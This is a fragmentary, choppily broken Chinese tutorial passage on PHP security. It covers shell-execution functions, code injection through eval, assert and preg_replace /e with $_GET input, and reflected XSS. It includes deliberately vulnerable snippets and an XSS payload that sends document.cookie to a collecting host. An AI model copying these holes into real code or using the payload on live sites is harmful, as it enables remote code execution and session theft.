Linux unix
Wind os
string sy
stem ( string $command [,int &am
p;$return_var ] )
string exec ( string $command [,array &$output [,int &$return_var ]] )
void passt
hru (string command,int &return_var)
string shell_exec (string command)
`` 反引号
resource popen ( string $command,string $mode )
resource proc_open ( string $cmd,array $descriptorspec,array &$pipes [,string $cwd [,array
$env [,array $other_options ]]] )
void pcntl_exec ( string $path [,array $
args [,array $envs ]] )
当
用户提供的数据传入此
函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保
用户欺骗
系统从而执行任意命令。
escapeshellarg ( string $arg )
可以用到
PHP 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中
文传递给 escapeshellarg,会被过滤掉。
escapeshellcmd ( string $command )
escapeshellcmd()
函数会转义命令中的所有 shell 元字符来完成工作。这些元字符
包括:
# & ; `,
| * ? ~ < > ^ ( ) [ ] { } $ \\。
eval 、assert 、preg_replace
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
eval("\$moon = $moon;");
}
?>
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
assert("\$moon = $moon;");
}
?>
当 pattern 中存在/e 模式修饰符,即允许执行
代码。
echo $regexp = $_GET[‘reg‘];
preg_replace("/<
PHP>(.*?)$regexp",‘\\1‘,$var);
?>
replacement 第二个参数
preg_replace("/moon/e",$_GET[‘moon‘],"I love moon");
?>
preg_replace()第三个参数注射
preg_replace("/\s*\[
PHP\](.+?)\[\/
PHP\]\s*/ies","\\1",$_GET[‘moon‘]);
?>
xss 漏洞大致分三种
反射型 XSS 漏洞
保存型 XSS 漏洞
基于 DOM 的 XSS 漏洞
反射型 XSS 漏洞
它通过给
别人发送带有恶意脚本
代码参数的 URL,当 URL 地址被打开时,特有的恶意
它的特点是非持久化,必须
用户点击带有特定参数的
链接才能引起。
echo $_GET[‘xss‘];
?>
二:$_SERVER 变量参数
$_SERVER[‘HTTP_USER_AGENT‘]
$_SERVER[‘HTTP_REFERER‘]
三:http 请求格式
User-Agent:
Referer
test <script>alert(1);</script>
Cookie
<script>var i=new Image;i.src="http://127.0.0.1/xss.
PHP?c="%2bdocument.cookie;</script>
modify headers